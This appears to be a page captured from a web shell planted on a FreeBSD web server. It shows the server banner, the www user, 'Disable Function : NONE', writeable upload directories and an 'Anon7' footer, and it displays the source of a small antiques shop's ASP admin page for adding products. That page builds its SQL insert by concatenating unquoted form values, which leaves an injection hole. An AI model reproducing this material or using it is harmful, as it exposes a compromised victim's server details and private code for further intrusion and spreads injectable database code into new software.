KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/thomasjolly1/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/thomasjolly1/admin/add_product.asp
<%@LANGUAGE="VBSCRIPT"%> 
<!--#include file="../Connections/dsPets.asp" -->
<%
' *** Edit Operations: declare variables

MM_editAction = CStr(Request("URL"))
If (Request.QueryString <> "") Then
  MM_editAction = MM_editAction & "?" & Request.QueryString
End If

' boolean to abort record edit
MM_abortEdit = false

' query string to execute
MM_editQuery = ""
%>
<%
' *** Insert Record: set variables

If (CStr(Request("MM_insert")) <> "") Then

  MM_editConnection = MM_dsPets_STRING
  MM_editTable = "tblProduct"
  MM_editRedirectUrl = "add_product_done.asp"
  MM_fieldsStr  = "Productline_ID|value|Product_Name|value|Price|value|Checkout_Number|value|Product_Description|value|Thumbnail|value|Photo|value"
  MM_columnsStr = "Productline_ID|none,none,NULL|Product_Name|',none,''|Price|none,none,NULL|Checkout_Number|none,none,NULL|Product_Description|',none,''|Thumbnail|',none,''|Photo|',none,''"

  ' create the MM_fields and MM_columns arrays
  MM_fields = Split(MM_fieldsStr, "|")
  MM_columns = Split(MM_columnsStr, "|")
  
  ' set the form values
  For i = LBound(MM_fields) To UBound(MM_fields) Step 2
    MM_fields(i+1) = CStr(Request.Form(MM_fields(i)))
  Next

  ' append the query string to the redirect URL
  If (MM_editRedirectUrl <> "" And Request.QueryString <> "") Then
    If (InStr(1, MM_editRedirectUrl, "?", vbTextCompare) = 0 And Request.QueryString <> "") Then
      MM_editRedirectUrl = MM_editRedirectUrl & "?" & Request.QueryString
    Else
      MM_editRedirectUrl = MM_editRedirectUrl & "&" & Request.QueryString
    End If
  End If

End If
%>
<%
' *** Insert Record: construct a sql insert statement and execute it

If (CStr(Request("MM_insert")) <> "") Then

  ' create the sql insert statement
  MM_tableValues = ""
  MM_dbValues = ""
  For i = LBound(MM_fields) To UBound(MM_fields) Step 2
    FormVal = MM_fields(i+1)
    MM_typeArray = Split(MM_columns(i+1),",")
    Delim = MM_typeArray(0)
    If (Delim = "none") Then Delim = ""
    AltVal = MM_typeArray(1)
    If (AltVal = "none") Then AltVal = ""
    EmptyVal = MM_typeArray(2)
    If (EmptyVal = "none") Then EmptyVal = ""
    If (FormVal = "") Then
      FormVal = EmptyVal
    Else
      If (AltVal <> "") Then
        FormVal = AltVal
      ElseIf (Delim = "'") Then  ' escape quotes
        FormVal = "'" & Replace(FormVal,"'","''") & "'"
      Else
        FormVal = Delim + FormVal + Delim
      End If
    End If
    If (i <> LBound(MM_fields)) Then
      MM_tableValues = MM_tableValues & ","
      MM_dbValues = MM_dbValues & ","
    End if
    MM_tableValues = MM_tableValues & MM_columns(i)
    MM_dbValues = MM_dbValues & FormVal
  Next
  MM_editQuery = "insert into " & MM_editTable & " (" & MM_tableValues & ") values (" & MM_dbValues & ")"

  If (Not MM_abortEdit) Then
    ' execute the insert
    Set MM_editCmd = Server.CreateObject("ADODB.Command")
    MM_editCmd.ActiveConnection = MM_editConnection
    MM_editCmd.CommandText = MM_editQuery
    MM_editCmd.Execute
    MM_editCmd.ActiveConnection.Close

    If (MM_editRedirectUrl <> "") Then
      Response.Redirect(MM_editRedirectUrl)
    End If
  End If

End If
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Jolly Antiques -- Add a product</TITLE>
<link rel="stylesheet" href="http://a451.g.akamai.net/7/451/1713/0045/www.potterybarn.com/pbecimgs/20011112-001/html/css/css.htm" type="text/css">
<link href="../css/style.css" rel="stylesheet" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
</script>
</HEAD>
<BODY BGCOLOR="FFFFFF" TOPMARGIN="0" LEFTMARGIN="0" MARGINHEIGHT="0" MARGINWIDTH="0" LINK="666666" ALINK="666666" VLINK="666666">
<!-- begin Top Nav -->
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td bgcolor="#A3B2C7"><img src="../images/jolly_logo.gif" width="401" height="87"></td>
    <td bgcolor="#A3B2C7"><div align="right">
      <table width="130" border="0" cellspacing="0" cellpadding="5">
        <tr>
          <td><img src="../images/spacer.gif" width="10" height="2"></td>
        </tr>
        <tr>
          <td><a href="add_product.asp">add new products</a> </td>
        </tr>
        <tr>
          <td><a href="edit_files.asp">modify products</a> </td>
        </tr>
        <tr>
          <td><a href="delete_files.asp">delete products </a></td>
        </tr>
        <tr>
          <td><a href="view.asp">view list of products </a></td>
        </tr>
        <tr>
          <td><img src="../images/spacer.gif" width="10" height="2"></td>
        </tr>
      </table>
    </div></td>
  </tr>
  <tr>
    <td colspan="2" bgcolor="#666633"><img src="images/spacer.gif" width="1" height="7"></td>
  </tr>
  <tr>
    <td colspan="2" bgcolor="#999966"><img src="images/spacer.gif" width="1" height="1"></td>
  </tr>
  <tr>
    <td colspan="2" bgcolor="#666633"><img src="images/spacer.gif" width="1" height="3"></td>
  </tr>
  <tr>
    <td colspan="2" bgcolor="#cccc99"><img src="images/spacer.gif" width="1" height="22"></td>
  </tr>
</table>
<!-- end Top Nav -->
<TABLE WIDTH="770" BORDER="0" CELLPADDING="0" CELLSPACING="0">
  <TR> 
    <TD WIDTH="770" COLSPAN="3"> 
      <TABLE WIDTH="770" BORDER="0" CELLPADDING="0" CELLSPACING="0">
        <TR> 
          <TD COLSPAN="6"><IMG SRC="../images/spacer.gif" WIDTH="1" HEIGHT="34" ALT="" BORDER="0"></TD>
        </TR>
        <TR VALIGN="top"> 
          <TD WIDTH="20" NOWRAP><IMG SRC="../images/spacer.gif" WIDTH="1" HEIGHT="1" ALT="" BORDER="0"></TD>
          <TD WIDTH="30" NOWRAP><IMG SRC="../images/spacer.gif" WIDTH="1" HEIGHT="1" ALT="" BORDER="0"></TD>
          <TD WIDTH="234" NOWRAP> 
<table width="234" border="0" cellpadding="0" cellspacing="0">
              <tr> 
                <td width="234" valign="top" nowrap><font face="verdana, arial, helvetica, geneva" size="1" color="#A79B7A"><br>
                  <br>
                <img src="../images/spacer.gif" width=1 height=7 alt="" border="0"></font>&nbsp; 
                  <form method="POST" action="<%=MM_editAction%>" name="formProductInsert">
                    <table align="center">
                      <tr valign="baseline"> 
                        <td nowrap align="right">Productline ID:</td>
                        <td> 
                          <input type="text" name="Productline_ID" value="" size="32">
                        </td>
                        <td><a href="javascript:;" onClick="MM_openBrWindow('prodline.html','','toolbar=no,location=no,status=no,menubar=no,scrollbars=no,resizable=yes,width=500,height=600')"><img src="../images/questionmark.gif" alt="What is this section?" width="20" height="20" border="0"></a></td>
                      </tr>
                      <tr valign="baseline"> 
                        <td nowrap align="right">Product Name:</td>
                        <td colspan="2"> 
                          <input type="text" name="Product_Name" value="" size="32">
                        </td>
                      </tr>
                      <tr valign="baseline"> 
                        <!--  <td nowrap align="right">Price:</td>
                        <td> 
                          <input type="text" name="Price" value="" size="32">
                        </td> -->
                      </tr>
                      <tr valign="baseline"> 
                        <!--  hide ID number <td nowrap align="right">ID Number:</td>
                        <td> 
                          <input type="text" name="Checkout_Number" value="" size="32">
                        </td> -->
                      </tr>
                      <tr valign="baseline"> 
                        <td nowrap align="right" valign="top">Product Description:</td>
                        <td colspan="2"> 
                          <textarea name="Product_Description" cols="32" wrap="PHYSICAL"></textarea>
                        </td>
                      </tr>
                      <tr valign="baseline"> 
                        <td nowrap align="right">Thumbnail:</td>
                        <td colspan="2"> 
                          <input type="text" name="Thumbnail" value="" size="32">
                        </td>
                      </tr>
                      <tr valign="baseline"> 
                        <td nowrap align="right">Enlarged Photo:</td>
                        <td colspan="2"> 
                          <input type="text" name="Photo" value="" size="32">
                        </td>
                      </tr>
                      <tr valign="baseline"> 
                        <td nowrap align="right">&nbsp;</td>
                        <td colspan="2"> 
                          <input type="submit" value="Insert Record">
                        </td>
                      </tr>
                    </table>
                    <!--price -->
                    <input type="hidden" name="MM_insert" value="true">
                </form>                  <p>&nbsp;</p>                  <p>&nbsp;</p></td>
              </tr>
            </table>
          </TD>
          <TD WIDTH="16" NOWRAP><IMG SRC="../images/spacer.gif" WIDTH="16" HEIGHT="1" ALT="" BORDER="0"></TD>
          <!-- begin main section -->
          <TD WIDTH="450" NOWRAP><img src="../images/subnav/img_for_home.jpg" width=451 height=359 alt="" border=0></TD>
          <TD><IMG SRC="../images/spacer.gif" WIDTH="20" HEIGHT="1" ALT="" BORDER="0"></TD>
        </TR>
      </TABLE>
    </TD>
  <TR> 
    <TD HEIGHT="34" COLSPAN="3"><IMG SRC="../images/spacer.gif" WIDTH="1" HEIGHT="34" ALT="" BORDER="0"></TD>
  </TR>
  <TR> 
    <TD WIDTH="20" NOWRAP><IMG SRC="../images/spacer.gif" WIDTH="1" HEIGHT="1" ALT="" BORDER="0"></TD>
    <TD BGCOLOR="51000"><IMG SRC="../images/spacer.gif" WIDTH="730" HEIGHT="2" ALT="" BORDER="0"></TD>
    <TD WIDTH="20" NOWRAP><IMG SRC="../images/spacer.gif" WIDTH="1" HEIGHT="1" ALT="" BORDER="0"></TD>
  </TR>
  <TR> 
    <TD COLSPAN="3"><IMG SRC="../images/spacer.gif" WIDTH="770" HEIGHT="2" ALT="" BORDER="0"></TD>
  </TR>
</TABLE>
</BODY>
</HTML>


Anon7 - 2021